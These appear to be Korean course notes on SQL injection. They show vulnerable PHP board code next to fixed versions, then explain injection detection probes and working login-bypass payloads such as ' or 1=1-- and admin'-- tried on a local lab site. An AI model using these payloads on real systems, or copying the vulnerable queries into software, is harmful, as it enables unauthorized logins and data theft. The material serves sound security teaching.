		echo "<script>alert('회원정보 수정완료');</script>";
	}

	$query = "select * from members where id='{$id}'";

	$result = $db_conn->query($query);
	$num = $result->num_rows;
?>

$id 변수에 real_escape_string 을 추가해준다.

< mypage.php 의 Action 페이지 - 시큐어코딩 적용 >

<?
	include_once("./common.php");

	$db_conn = mysql_conn();
	$id = $db_conn->real_escape_string($_GET["id"]);
	$gubun = $_POST["gubun"];

	if($gubun == "action") {
		$name = $db_conn->real_escape_string($_POST["name"]);
		$email = $db_conn->real_escape_string($_POST["email"]);
		$company = $db_conn->real_escape_string($_POST["company"]);
		$password = $_POST["password"];
		if(!empty($password)) {
			$password = md5($password);
			$query = "update members set name='{$name}', email='{$email}', company='{$company}', password='{$password}' where id='{$id}'";
			$result = $db_conn->query($query);
		} else {
			$query = "update members set name='{$name}', email='{$email}', company='{$company}' where id='{$id}'";
			$result = $db_conn->query($query);
		}
		echo "<script>alert('회원정보 수정완료');</script>";
	}

	$query = "select * from members where id='{$id}'";

	$result = $db_conn->query($query);
	$num = $result->num_rows;
?>

id에 te' 'st1 를 입력하니 이전과는 다르게 존재하지 않는 사용자로 확인된다.

싱글쿼터가 이스케이프 처리되어 순수 문자열로 인식되었기 때문에 te' 'st1 사용자를 찾게되는 것이다.

te' 'st1 사용자는 존재하지 않으므로 아래와 같이 결과를 확인할 수 있다.

게시판 검색 기능도 시큐어 코딩을 적용해야 한다.

test 게시글이 작성된 상태에서 te' 'st를 검색하면 test 게시글이 검색된다.

→ 싱글쿼터가 SQL 구문으로 인식되어 검색됨, SQL Injection 취약점이 존재함

te'a'st를 검색하면 에러가 발생하여 아무 게시글도 검색되지 않는다.

서버에서 DB로 SQL 질의는 아래와 같이 검색하는 것으로 추정된다.

select * from board where title like '%te' 'st%';

실제 MySQL에서 해당 게시글을 찾을 때 아래와 같이 검색된다.

select * from insecure_board where title like '%te' 'st'%;

select * from insecure_board where title like '%te'a'st%';

시큐어 코딩 적용을 위해 list.php 파일을 연다.

< list.php 의 Action 페이지 >

<?
  @include_once("./common.php");
  
  $db_conn = mysql_conn();
  $page = $_SERVER['REQUEST_URI'];

  # Search Logic
  $search_type = $_POST["search_type"];
  $keyword = $_POST["keyword"];

  if(empty($search_type) && empty($keyword)) {
    $query = "select * from {$tb_name}";
  } else {
    if($search_type == "all") {
      $query = "select * from {$tb_name} where title like '%{$keyword}%' or writer like '%{$keyword}%' or content like '%{$keyword}%'";
    } else {
      $query = "select * from {$tb_name} where {$search_type} like '%{$keyword}%'";
    }
  }

  # Sort Logic
  $sort = $_GET["sort"];
  $sort_column = $_GET["sort_column"];

  if(empty($sort_column) && empty($sort)) {
    $query .= " order by idx desc";
  } else {
    $query .= " order by {$sort_column} {$sort}";
  }

  $result = $db_conn->query($query);
  $num = $result->num_rows;
?>

SQL Injection 실습 할때는 keyword 부분만 실습을 했었고, search_type 과 sort_column 부분은 실습을 진행하지 않았다.

하지만 다른 부분들도 SQL Injection 취약점이 존재하므로 시큐어 코딩 적용을 해야한다.

keyword 부분은 사용자 입력값을 문자 형태로 받기 때문에 이스케이프 처리를 하면 된다.

→ real_escape_string

< list.php 의 Action 페이지 - $Keyword 이스케이프 처리 >

<?
  @include_once("./common.php");
  
  $db_conn = mysql_conn();
  $page = $_SERVER['REQUEST_URI'];

  # Search Logic
  $search_type = $_POST["search_type"];
  $keyword = $db_conn->real_escape_string($_POST["keyword"]);

  if(empty($search_type) && empty($keyword)) {
    $query = "select * from {$tb_name}";
  } else {
    if($search_type == "all") {
      $query = "select * from {$tb_name} where title like '%{$keyword}%' or writer like '%{$keyword}%' or content like '%{$keyword}%'";
    } else {
      $query = "select * from {$tb_name} where {$search_type} like '%{$keyword}%'";
    }
  }

  # Sort Logic
  $sort = $_GET["sort"];
  $sort_column = $_GET["sort_column"];

  if(empty($sort_column) && empty($sort)) {
    $query .= " order by idx desc";
  } else {
    $query .= " order by {$sort_column} {$sort}";
  }

  $result = $db_conn->query($query);
  $num = $result->num_rows;
?>

이스케이프 처리 후 다시 te' 'st 로 검색하니 검색결과가 나오지 않았다.

real_escape_string을 사용하니 싱글쿼터 ' 를 순수 문자열로 인식하여 검색되지 않은것이다. ( te' 'st 라는 게시글을 검색 )

$search_type 과 $sort_column 을 시큐어 코딩 적용을 해본다.

위 두 부분에 사용자 입력값이 들어오는 경우, 특수문자나 공백 등 허용되지 않은 문자들이 입력되지 않도록 검증해야 한다.

혀용한 문자만 입력받게끔 정규표현식을 사용해서 코드를 작성하면 된다.

PHP 는 preg_match를 사용하고, JAVA는 Pattern.matches 를 사용하면 된다.

empty를 사용하여 빈값이 입력될 수 있는 조건을 추가한다.

코드 작성 시 주의할 점은 꼭 exit 를 해줘야 해당 입력값 검증이 가능하다는 점이다.

< list.php 의 Action 페이지 - $search_type, $sort_column 정규표현식 패턴 적용 >

<?
  @include_once("./common.php");
  
  $db_conn = mysql_conn();
  $page = $_SERVER['REQUEST_URI'];

  # Search Logic
  $search_type = $_POST["search_type"];
  $keyword = $db_conn->real_escape_string($_POST["keyword"]);

  # Sort Logic
  $sort = $_GET["sort"];
  $sort_column = $_GET["sort_column"];

  if((!preg_match("/^[a-zA-Z]*$/", $search_type) && !empty($search_type)) || (!preg_match("/^[a-zA-Z]*$/", $sort_column) && !empty($sort_column))){
    echo "<script>alert('허용된 문자가 아닙니다.');history.back(-1);</script>";
    exit();
  }

  if(empty($search_type) && empty($keyword)) {
    $query = "select * from {$tb_name}";
  } else {
    if($search_type == "all") {
      $query = "select * from {$tb_name} where title like '%{$keyword}%' or writer like '%{$keyword}%' or content like '%{$keyword}%'";
    } else {
      $query = "select * from {$tb_name} where {$search_type} like '%{$keyword}%'";
    }
  }

  if(empty($sort_column) && empty($sort)) {
    $query .= " order by idx desc";
  } else {
    $query .= " order by {$sort_column} {$sort}";
  }

  $result = $db_conn->query($query);
  $num = $result->num_rows;
?>

시큐어 코딩 적용 후 sort_column에 공백과 괄호가 들어가니 허용된 문자가 아니라는에러 메시지가 확인된다.

이를 통해 혀용된 영어 알파벳만 사용이 가능한 것을 알 수 있다.

버스스위트를 실행해서 공백이 입력되는지 확인해본다.

버프스위트 인터셉트 On 후 title 을 기준으로 test 를 검색해본다.

공백은 URL 인코딩 시 + 를 입력되므로, 공백을 입력하고 Forward 후 인터셉트를 Off 하면, 허용된 문자열이 아니라는 에러가 확인된다.

이로써 $sort_column 은 시큐어 코딩이 적용되었다고 볼 수 있다.

검증없이 사용자 입력값이 $sort 에 들어가므로 SQL Injection 에 취약하므로 시큐어 코딩을 적용해줘야 한다.

게시판은 기본값으로 내림차순(DESC) 정렬이 되어 있다.

sort는 오름차순과 내림차순으로 데이터를 정렬해주는 기능을 하기 때문에, ASC와 DESC를 비교만하고 Server-Side에서 하드코딩 시켜주면 된다.

< list.php 의 Action 페이지 - $sort 시큐어코딩 적용>

<?
  @include_once("./common.php");
  
  $db_conn = mysql_conn();
  $page = $_SERVER['REQUEST_URI'];

  # Search Logic
  $search_type = $_POST["search_type"];
  $keyword = $db_conn->real_escape_string($_POST["keyword"]);

  # Sort Logic
  $sort = $_GET["sort"];
  $sort_column = $_GET["sort_column"];

  if((!preg_match("/^[a-zA-Z]*$/", $search_type) && !empty($search_type)) || (!preg_match("/^[a-zA-Z]*$/", $sort_column) && !empty($sort_column))){
    echo "<script>alert('허용된 문자가 아닙니다.');history.back(-1);</script>";
    exit();
  }

  if(empty($search_type) && empty($keyword)) {
    $query = "select * from {$tb_name}";
  } else {
    if($search_type == "all") {
      $query = "select * from {$tb_name} where title like '%{$keyword}%' or writer like '%{$keyword}%' or content like '%{$keyword}%'";
    } else {
      $query = "select * from {$tb_name} where {$search_type} like '%{$keyword}%'";
    }
  }

  if(empty($sort_column) && empty($sort)) {
    $query .= " order by idx desc";
  } else {
    $sort = strtoupper($sort);
    if($sort == "ASC") {
      $query .= " order by {$sort_column} ASC";
    } else {
      $query .= " order by {$sort_column} DESC";
    }
  }

  $result = $db_conn->query($query);
  $num = $result->num_rows;
?>

이로써 $sort 는 SQL Injection 에 안전하다고 볼 수 있다.

list.php 소스코드 확인 시 $tb_name은 사용자 입력값을 받아서 테이블을 구성하는 상태가 아니고, common.php 에서 불러오는 상태이기 때문에 SQL Injection에 안전하다고 볼 수 있다.

DB 컬럼명의 길이를 어느정도 알기 때문에 컬럼명의 길이값을 제한하는 검증 코드를 추가한다.

MySQL 접속하여 insecure_board 테이블 구조를 확인해본다.

컬럼명을 보니 10글자를 넘지 않는 것이 확인된다.

이를 통해 컬럼명 길이를 제한하는 검증 코드를 추가한다.

strlen → 문자열 길이값을 반환하는 함수

< list.php 의 Action 페이지 - 컬럼명 길이값 검증 코드 추가>

<?
  @include_once("./common.php");
  
  $db_conn = mysql_conn();
  $page = $_SERVER['REQUEST_URI'];

  # Search Logic
  $search_type = $_POST["search_type"];
  $keyword = $db_conn->real_escape_string($_POST["keyword"]);

  # Sort Logic
  $sort = $_GET["sort"];
  $sort_column = $_GET["sort_column"];

  if(strlen($search_type) > 10 || strlen($sort_column) > 10 ) {
    echo "<script>alert('허용된 길이를 초과하였습니다.');history.back(-1);</script>";
    exit();
  }

  if((!preg_match("/^[a-zA-Z]*$/", $search_type) && !empty($search_type)) || (!preg_match("/^[a-zA-Z]*$/", $sort_column) && !empty($sort_column))){
    echo "<script>alert('허용된 문자가 아닙니다.');history.back(-1);</script>";
    exit();
  }

  if(empty($search_type) && empty($keyword)) {
    $query = "select * from {$tb_name}";
  } else {
    if($search_type == "all") {
      $query = "select * from {$tb_name} where title like '%{$keyword}%' or writer like '%{$keyword}%' or content like '%{$keyword}%'";
    } else {
      $query = "select * from {$tb_name} where {$search_type} like '%{$keyword}%'";
    }
  }

  if(empty($sort_column) && empty($sort)) {
    $query .= " order by idx desc";
  } else {
    $sort = strtoupper($sort);
    if($sort == "ASC") {
      $query .= " order by {$sort_column} ASC";
    } else {
      $query .= " order by {$sort_column} DESC";
    }
  }

  $result = $db_conn->query($query);
  $num = $result->num_rows;
?>

sort_column 부분에 특정 문자열을 여러번 입력하니 10글자를 초과하게되어 다음과 같은 에러메시지가 발생한다.

게시판 상세 보기 페이지에도 SQL Injection이 취약한 부분이 있으므로 시큐어 코딩을 적용해야 한다.

view.php 소스코드를 확인한다.

< view.php 의 Action 페이지 >

<?
	$db_conn = mysql_conn();
	$idx = $_REQUEST["idx"];
	$password = $_POST["password"];

	if(empty($password)) {
		$query = "select * from {$tb_name} where idx={$idx} and secret='n'";
	} else {
		$query = "select * from {$tb_name} where idx={$idx} and password='{$password}'";
	}
	
	$result = $db_conn->query($query);
	$num = $result->num_rows;
?>

현재 $idx와 $password 부분에는 입력값 검증이 되어 있지 않아 SQL Injection이 취약하다.

$password는 문자형이므로 이스케이프 처리를 한다. → real_escape_string

$idx는 숫자형이므로 is_numeric 함수를 사용하여 검증을 한다. → 숫자가 아닐 경우 에러메시지 출력

is_numeric → 주어진 값이 숫자 또는 숫자 문자열인지 확인하는 함수, 주어진 값이 숫자면 True 아니면 False 반환

< view.php 의 Action 페이지 - 시큐어코딩 적용 >

<?
	$db_conn = mysql_conn();
	$idx = $_REQUEST["idx"];
	$password = $db_conn->real_escape_string($_POST["password"]);

	if(!is_numeric($idx)) {
		echo "<script>alert('숫자 값만 가능합니다.');history.back(-1);</script>";
		exit();
	}

	if(empty($password)) {
		$query = "select * from {$tb_name} where idx={$idx} and secret='n'";
	} else {
		$query = "select * from {$tb_name} where idx={$idx} and password='{$password}'";
	}
	
	$result = $db_conn->query($query);
	$num = $result->num_rows;
?>

수정 페이지 또한 idx 가 SQL Injection 에 취약하므로 시큐어 코딩을 적용해야 한다.

modify.php 를 열고 소스코드를 확인한다.

< modify.php 의 Action 페이지 >

<?
	include_once("./common.php");

	$db_conn = mysql_conn();
	$idx = $_GET["idx"];

	$query = "select * from {$tb_name} where idx={$idx}";
  
	$result = $db_conn->query($query);
	$num = $result->num_rows;
?>

$idx 에 입력 검증 로직을 추가하여 SQL Injection에 안전한 코드로 만든다.

$idx 에 숫자만 입력할 수 있도록 is_numeric 함수를 사용하여 검증한다.

< modify.php 의 Action 페이지 - 시큐어코딩 적용 >

<?
	include_once("./common.php");

	$db_conn = mysql_conn();
	$idx = $_GET["idx"];

	if(!is_numeric($idx)) {
		echo "<script>alert('숫자 값만 가능합니다.');history.back(-1);</script>";
		exit();
	}

	$query = "select * from {$tb_name} where idx={$idx}";
  
	$result = $db_conn->query($query);
	$num = $result->num_rows;
?>

수정 페이지의 $idx에는 숫자값 이외의 값은 입력이 불가하므로 SQL Injection에 안전하게 되었다.

마지막으로 action 페이지 부분에 시큐어 코딩을 적용한다.

aciton 페이지는 취약한 부분이 많은 페이지이다.

< action.php 소스코드 >

<?
	@session_start();
	header("Content-Type: text/html; charset=UTF-8");
	include ( './common.php' );

	$mode = $_REQUEST["mode"];
	$db_conn = mysql_conn();
	
	if($mode == "write") {
		$title = $_POST["title"];
		$id = $_SESSION["id"];
		$writer = $_SESSION["name"];
		$password = $_POST["password"];
		$content = $_POST["content"];
		$secret = $_POST["secret"];
		$uploadFile = "";

		if(empty($title) || empty($password) || empty($content)) {
			echo "<script>alert('빈칸이 존재합니다.');history.back(-1);</script>";
			exit();
		}

		if(!empty($_FILES["userfile"]["name"])) {
			$uploadFile = $_FILES["userfile"]["name"];
			$uploadPath = "{$upload_path}/{$uploadFile}";
			
			if(!(@move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadPath))) {
				echo("<script>alert('파일 업로드를 실패 하셨습니다.');history.back(-1);</script>");
				exit;
			}
		}   
		
		if($secret == "on") {
			$secret = "y";
		} else {
			$secret = "n";
		}

		$content = str_replace("\r\n", "<br>", $content);
		
		$query = "insert into {$tb_name}(title, id, writer, password, content, file, secret, regdate) values('{$title}', '{$id}', '{$writer}', '{$password}', '{$content}', '{$uploadFile}', '{$secret}', now())";
		$db_conn->query($query);
	} else if($mode == "modify") {
		$idx = $_POST["idx"];
		$title = $_POST["title"];
		$password = $_POST["password"];
		$content = $_POST["content"];
		$secret = $_POST["secret"];
		$uploadFile = $_POST["oldfile"];

		if(empty($idx) || empty($title) || empty($password) || empty($content)) {
			echo "<script>alert('빈칸이 존재합니다.');history.back(-1);</script>";
			exit();
		}

		# Password Check Logic
		$query = "select * from {$tb_name} where idx={$idx} and password='{$password}'";
		$result = $db_conn->query($query);
		$num = $result->num_rows;

		if($num == 0) {
			echo "<script>alert('패스워드가 일치하지 않습니다.');history.back(-1);</script>";
			exit();
		}

		if(!empty($_FILES["userfile"]["name"])) {
			$uploadFile = $_FILES["userfile"]["name"];
			$uploadPath = "{$upload_path}/{$uploadFile}";
			
			if(!(@move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadPath))) {
				echo("<script>alert('파일 업로드를 실패 하셨습니다.');history.back(-1);</script>");
				exit;
			}
		}
		
		if($secret == "on") {
			$secret = "y";
		} else {
			$secret = "n";
		}
		
		$content = str_replace("\r\n", "<br>", $content);
		
		$query = "update {$tb_name} set title='{$title}', content='{$content}', file='{$uploadFile}', secret='{$secret}', regdate=now() where idx={$idx}";
		$db_conn->query($query);
	} else if($mode == "delete") {
		$idx = $_POST["idx"];
		$password = $_POST["password"];
		
		# Password Check Logic
		$query = "select * from {$tb_name} where idx={$idx} and password='{$password}'";
		$result = $db_conn->query($query);
		$num = $result->num_rows;

		if($num == 0) {
			echo "<script>alert('패스워드가 일치하지 않습니다.');history.back(-1);</script>";
			exit();
		}
		
		$query = "delete from {$tb_name} where idx={$idx}";
		$db_conn->query($query);
	}

	echo "<script>location.href='index.php';</script>";
	$db_conn->close();
?>

$mode는 작성,수정,삭제를 선택하는 변수로 SQL 구문에 영향을 받지 않으므로 상관없다.

SQL 구문에 영향을 받는 파라미터를 확인해서 시큐어 코딩을 적용해야 한다.

$title, $id, $writer, $pasword, $content 등

문자열이 입력되는 변수에는 real_escape_string을 사용하여 시큐어 코딩을 적용한다.

$secret은 on 인지 확인만하는 파라미터로(비밀글 여부) 값이 Server-Side에서 대입되기 때문에 SQL Injection에 취약한 부분은 아니다.

$uploadFile은 파일이 업로드 될때 특정 파일명에 대해 이스케이프 처리를 해야한다. → real_escape_string

$idx는 숫자값을 받아오므로 is_numeric 함수를 사용하여 숫자값이 아닌 경우 에러 메시지를 출력하도록 한다.

< action.php 소스코드 - 시큐어코딩 적용 >

<?
	@session_start();
	header("Content-Type: text/html; charset=UTF-8");
	include ( './common.php' );

	$mode = $_REQUEST["mode"];
	$db_conn = mysql_conn();
	
	if($mode == "write") {
		$title = $db_conn->real_escape_string($_POST["title"]);
		$id = $db_conn->real_escape_string($_SESSION["id"]);
		$writer = $db_conn->real_escape_string($_SESSION["name"]);
		$password = $db_conn->real_escape_string($_POST["password"]);
		$content =$db_conn->real_escape_string($_POST["content"]);
		$secret = $_POST["secret"];
		$uploadFile = "";

		if(empty($title) || empty($password) || empty($content)) {
			echo "<script>alert('빈칸이 존재합니다.');history.back(-1);</script>";
			exit();
		}

		if(!empty($_FILES["userfile"]["name"])) {
			$uploadFile = $_FILES["userfile"]["name"];
			$uploadPath = "{$upload_path}/{$uploadFile}";
			
			if(!(@move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadPath))) {
				echo("<script>alert('파일 업로드를 실패 하셨습니다.');history.back(-1);</script>");
				exit;
			}
		}   
		
		if($secret == "on") {
			$secret = "y";
		} else {
			$secret = "n";
		}
		
		$uploadFile = $db_conn->real_escape_string($uploadFile);
		$content = str_replace("\r\n", "<br>", $content);
		
		$query = "insert into {$tb_name}(title, id, writer, password, content, file, secret, regdate) values('{$title}', '{$id}', '{$writer}', '{$password}', '{$content}', '{$uploadFile}', '{$secret}', now())";
		$db_conn->query($query);
	} else if($mode == "modify") {
		$idx = $_POST["idx"];
		$title = $db_conn->real_escape_string($_POST["title"]);
		$password = $db_conn->real_escape_string($_POST["password"]);
		$content = $db_conn->real_escape_string($_POST["content"]);
		$secret = $_POST["secret"];
		$uploadFile = $_POST["oldfile"];

		if(empty($idx) || empty($title) || empty($password) || empty($content)) {
			echo "<script>alert('빈칸이 존재합니다.');history.back(-1);</script>";
			exit();
		}

		if(!is_numeric($idx)) {
			echo "<script>alert('숫자 값만 가능합니다.');history.back(-1);</script>";
			exit();
		}		

		# Password Check Logic
		$query = "select * from {$tb_name} where idx={$idx} and password='{$password}'";
		$result = $db_conn->query($query);
		$num = $result->num_rows;

		if($num == 0) {
			echo "<script>alert('패스워드가 일치하지 않습니다.');history.back(-1);</script>";
			exit();
		}

		if(!empty($_FILES["userfile"]["name"])) {
			$uploadFile = $_FILES["userfile"]["name"];
			$uploadPath = "{$upload_path}/{$uploadFile}";
			
			if(!(@move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadPath))) {
				echo("<script>alert('파일 업로드를 실패 하셨습니다.');history.back(-1);</script>");
				exit;
			}
		}
		
		if($secret == "on") {
			$secret = "y";
		} else {
			$secret = "n";
		}
		
		$content = str_replace("\r\n", "<br>", $content);
		$uploadFile = $db_conn->real_escape_string($uploadFile);

		$query = "update {$tb_name} set title='{$title}', content='{$content}', file='{$uploadFile}', secret='{$secret}', regdate=now() where idx={$idx}";
		$db_conn->query($query);
	} else if($mode == "delete") {
		$idx = $_POST["idx"];
		$password = $db_conn->real_escape_string($_POST["password"]);

		if(!is_numeric($idx)) {
			echo "<script>alert('숫자 값만 가능합니다.');history.back(-1);</script>";
			exit();
		}				
		
		# Password Check Logic
		$query = "select * from {$tb_name} where idx={$idx} and password='{$password}'";
		$result = $db_conn->query($query);
		$num = $result->num_rows;

		if($num == 0) {
			echo "<script>alert('패스워드가 일치하지 않습니다.');history.back(-1);</script>";
			exit();
		}
		
		$query = "delete from {$tb_name} where idx={$idx}";
		$db_conn->query($query);
	}

	echo "<script>location.href='index.php';</script>";
	$db_conn->close();
?>

전체 페이지에 대한 SQL Injection 시큐어 코딩 적용이 완료되었다.

참고

https://www.inflearn.com/course/%EC%9B%B9%ED%95%B4%ED%82%B9-%EB%B3%B4%EC%95%88-%EC%8B%9C%ED%81%90%EC%96%B4%EC%BD%94%EB%94%A9

정규표현식 참고

https://hamait.tistory.com/342

SQL Injection

Security Engineer — Wed, 11 Dec 2024 21:00:36 +0900

1) SQL Injection이란 무엇인가?

SQL은 RDBMS에서 데이터를 관리하기 위해 설계된 특수 목적의 프로그래밍 언어다.

클라이언트와 웹 어플리케이션이 통신할 때 사용자 입력값에 SQL 구문 삽입을 통해 변조된 SQL 구문을 질의함.

이를 통해 데이터 조회, 삭제 등의 다양한 공격이 가능하다.

SQL Injection 설명

2) 취약점 발생 원인

1. 공격자는 취약한 웹 어플리케이션을 대상으로 SQL 구문을 삽입한다.

2. Server-Side Script에서 사용자 입력값을 받게되며, 미완성된 SQL 구문이 사용자 입력값을 통해서 완성된 SQL 구문으로 만들어진다. → 취약점 발생(입력 값 검증 없이 구문 조합하게 되는 경우)

3. 완성된 SQL 구문으로 DB에 질의를 요청하게 된다.(변조된 SQL로 질의)

4. DB는 질의에 대한 응답값을 서버로 반환 후, 결과 구성 후 공격자에게 반환한다.

5. 반환된 응답값에는 공격자가 의도한 데이터 또는 쿠키, 세션이 포함되어 있을 수 있다. (공격자가 의도한 행위에 따라 다르다)

SQL Injection 취약점 발생 원인

JAVA 웹 어플리케이션 예시

String id = request.getParameter("id");

→ id 라는 파라미터로 사용자로부터 값을 받게되면 id 변수를 SQL 문에 대입한다.

String query = "select * from member where id='" + id + "'";

→ 사용자 입력값을 통해서 SQL문이 완성된 후 query 변수에 대입, 이때 취약점이 발생한다.

미완성된 SQL 구문 + 사용자 입력값이 조합될 때 입력값 검증 미흡으로 인해 취약점이 발생한다.

실습2-1 취약점 유/무 판별 방법

insecure 웹 사이트에 admin 계정으로 로그인 후 게시글을 2개 작성한다.

게시글 작성

test2를 클릭하면 idx=4를 확인할 수 있는데, 게시글 No가 idx 값을 의미한다는 것을 알 수 있다.

idx=3 → test1

idx=4 → test2

idx=4-1을 입력하고 이동하게되면 test1 게시글로 넘어가게 된다. 즉 idx=3으로 넘어가게 된 것이다.

산술연산이 되는 것을 통해서 취약점 판별이 가능하다. (빠른 취약점 존재 유무 판단 시 유용하다.)

select * from board where idx=4-1 → idx가 3이 되므로 test1 게시글로 이동한다.

사용자 입력(파라미터) - 숫자형

산술 연산자를 통해 판별 가능

$query = "select * from board where idx={$idx}";

String query = "select * from board where idx=" + idx + ";

idx=case when 1=1 then 3 else 4 end 를 입력하여 test1 게시글로 이동할 수 있다.

case when 1=1 then 3 else 4 end → 1=1이 참인 경우 3 출력, 거짓인 경우 4 출력

어플리케이션에서 해당 구문을 해석할 수 있는 것은 아니며 DB로 질의를 해야만 해당 값의 결과가 출력된다.

→ 입력값 검증이 되지 않아서 DB로 질의가 가능하다는 의미로 취약점이 존재하는 것을 알 수 있다.

사용자 입력(파라미터) - 문자형

연결 연산자를 통해 판별 가능

MySQL: 공백

ORACLE: ||

MSSQL: +

te' 'st 입력 → select 'te' 'st'; 와 동일하다.

검색창에 select '' 구문이 있고 ' '안에 te' 'st를 입력한것과 동일하다.

te' 'st 입력 후 test 게시글이 검색이 되면 취약점이 존재한다는 것을 의미한다.

이를 통해 빠르게 취약점 존재 유무 판단이 가능하다.

게시글 검색창에는 select * from board where title like '%%'; 구문이 내재되어 있다고 생각한다.

test%' and '%'=' 입력 시 test 문자열이 포함된 게시글이 검색된다.

→ select * from board where title like '%test%' and '%'='%';

인라인 방식인 경우 이렇게 구문을 입력한다.

인라인 방식(In-Line Query): 조건식의 우선순위를 이용하는 방식

만약 test%' and '1'=1' 입력하면 어떻게 될까?

select * from board where title like'%test%' and '1'='1%'; 과 동일하다.

→ '%test%'는 참이지만 '1'='1%'은 거짓이므로 AND 조건에서는 거짓이 된다.

결과가 거짓이므로 당연히 검색되지 않는다.

항상 해당 검색창에 어떤 구문이 내재되어 있는지 생각하고 SQL 구문을 작성해야 한다.

1을 넣어서 결과를 출력하고 싶다면 test%' and '1%'='1 을 입력하면 test 문자열이 포함된 게시글이 검색된다.

select * from board where title like '%test%' and '1%'='1%';

→ '%test%'는 참, '1%'='1%'도 참이므로 결과가 참이된다.

결과가 참이되므로 test 문자열이 포함된 게시글이 검색된다.

인라인 방식이 아닌 터미네이팅 방식(잘라내는 방식)을 사용해본다.

주석 문자를 사용하여 SQL 구문 뒷부분을 잘라내는 방식의 구문을 입력한다.

주석 문자 사용 시, 주석 문자 이후의 문자열은 모두 무시한다.

터미네이팅 방식(Termination Query): #, -- 등의 주석문자를 통해 쿼리를 주석 처리 하여 뒷 구문을 잘라내는 방식

MySQL 주석 문자: #, --(공백), (공백)--(공백)

ORACLE, MSSQL 주석문자: --

test%' and 1=1# 입력

select * from board where titile like '%test%' and 1=1#%';

→ '%test%'는 참, 1=1도 참, #부터 뒷 문자 무시하므로 결과가 참이된다.

test%' and 1=1 -- 입력

select * from board where title like '%test%' and 1=1 -- %'

→ '%test%'는 참, 1=1도 참, -- 부터 뒷 문자 무시하므로 결과가 참이된다.

주석 문자를 입력하여 뒤의 구문은 무시하고 '%test%' and 1=1 구문이 참이 되므로 test 문자열이 포함된 게시글이 검색된다.

3) 공격 종류

SQL Injection 공격 종류

- 인증 우회 공격

- 데이터 조회 공격, 데이터 조작 공격

- 시스템 명령어 실행 공격

인증 우회 공격

→ 인증 기능을 수행하는 어플리케이션(로그인 기능)에 정상적인 값(ID, PW)이 아닌 비정상 구문(SQL 구문) 삽입을 통해 인증을 우회(정상 ID, PW 없이 로그인)한다.

인라인 방식(In-line Query): 조건식의 우선순위를 이용하는 방식

터미네이팅 방식(Termination Query): #, -- 등의 주석문자를 통해 쿼리를 주석 처리 하여 뒷 구문을 잘라내는 방식

데이터 조회 공격

→ SQL Injection 취약점이 발생되는 기능에 대해서 SQL 구문 삽입을 통해서 DB내 데이터를 조회하는 공격

→ SQL Injection 공격 시 가장 많이 이루어지는 공격

데이터 조작 공격

→ 데이터 삽입, 수정, 삭제하는 공격

→ 취약점 진단할 때 실제 데이터가 조작될 가능성이 있어 되도록 잘 사용하지 않는다.

시스템 명령어 실행 공격

→ SQL 서버에 시스템 명령어 실행, 제일 취약한 공격으로 볼 수 있다.

→ 크리티컬 하지만 환경적으로 까다로워 취약점이 발생하기 어렵다.

4) 인증 우회 공격이란 무엇인가?

인증 우회 공격

정상 로그인 시에는 정상적인 값(ID/PW)를 입력하여 DB에 ID,PW에 일치하는 데이터가 있으면 사용자에게 반환해준다. (ID는 중복되지 않으므로 1개의 레코드를 반환한다.)

인증 우회 공격은 ID/PW 입력칸에 비정상 구문(SQL 구문)을 입력하여 인증 기능(로그인)을 우회하는 공격이다.

→ 정상 ID/PW 없이 SQL 구문 삽입을 통해서 로그인이 가능한 취약점

→ 정상 ID/PW 없이 특정 사용자 계정에 무단으로 로그인

로그인 성공 → 1개 레코드 반환(0개가 아닌 경우 로그인 될 수 있음, 개발에 따라 다름), 세션&쿠키 발급

로그인 실패 → 0개 레코드 반환, 에러페이지 반환

SELECT * FROM member WHERE id='' or 1=1--' and...

→ id는 값이 없어 거짓, 1=1은 참이되므로 결과는 참이 된다.

→ id 값이 없으므로 member 테이블의 모든 레코드가 반환되며, 레코드 최상위 사용자로 로그인된다.

만약 admin 계정이 있다면 다음과 같이 admin'-- 구문을 입력하여 admin 계정에 비밀번호 없이 로그인이 가능하다.

SELECT * FROM member WHERE id='admin'-- ;

→ admin' 이후 문자열은 무시, id가 admin인 계정으로 로그인

5) 인증 우회 공격 원리

미완성된 SQL 구문

사용자 입력값을 통한 SQL 구문 완성

DB에 비정상적인 SQL 질의

1) 로그인 페이지에 SQL 구문 삽입

2) 로그인 시도 - WAS로 ID,PW 전송

3) 어플리케이션으로 id=' or 1=1 , pw=asdf 전달

4) 사용자 입력값을 조합하여 완성된 SQL 구문이 완성됨

비밀번호에 단방향 암호화가 적용되며, 비밀번호가 전달되면 해시함수로 암호화 처리(어플리케이션 단에서 처리)가 된다, 어플리케이션 단에서 비밀번호가 암호화 처리 된다면 비밀번호는 SQL Injection 공격이 통하지 않는다.

5) SQL 구문 삽입이 되며, -- 주석 처리 문자에 의해 비밀번호가 주석 처리가 되어 DB에 비정상적인 SQL 질의를 하게 된다.

6) DB에서 애플리케이션으로 값을 반환하고, 최종적으로 공격자에게 세션을 발급하게 되어 로그인 된다.

예시(1)

터미네이팅 방식

or 연산자를 기준으로 피연산자가 양쪽에 있다.

or 연산자는 피연산자 2개 중 1개만 참이면 결과가 참이된다.

and 연산자는 피연산자 2개가 전부 참이여야 결과가 참이된다.

위의 그림은 or 연산자로 1개만 참이여도 결과가 참이된다.

주석 문자를 통해서 뒤의 문자를 무시하는 것을 Termination Query(터미네이팅 방식)라고 한다.

예시(2)

인라인 방식

터미네이팅 방식으로 공격이 불가능한 경우 인라인 방식을 사용한다.

인라인 방식은 논리 연산자의 우선순위를 활용한 방식으로, AND 연산자가 OR 연산자보다 우선순위에 있는 것을 활용하는 방식이다.

실습2-2 인증 우회 공격을 통한 사용자 무단 로그인 실습

인증 기능을 가진 웹 페이지를 대상으로 무단 로그인 실습을 진행한다.

APM Setup 실행 후 127.0.0.1/insecure_website 접속하여, 로그인 페이지에서 무단 로그인 시도한다.

유형(1) - ID를 알고 있는 경우

유형(2) - ID를 모를 경우

구문(1) - In-line Query

구문(2) - Termination Query

실습1

ID를 알고 있는 경우, 인라인 방식 사용

→ admin' or '1' = '1

→ select * from member where id='admin' or '1' = '1' and password=' ';

→ id='admin'은 참, '1'='1' and password=' ' 는 거짓이다. OR 구문을 마지막에 해석하므로 결과적으로 참이다.

admin 계정으로 로그인 되었다.

admin' or '1' = '1

ID를 알고 있는 경우, 인라인 방식 사용

→ admin' or '1' = '2

→ select * from member where id='admin' or '1' = '2' and password=' ';

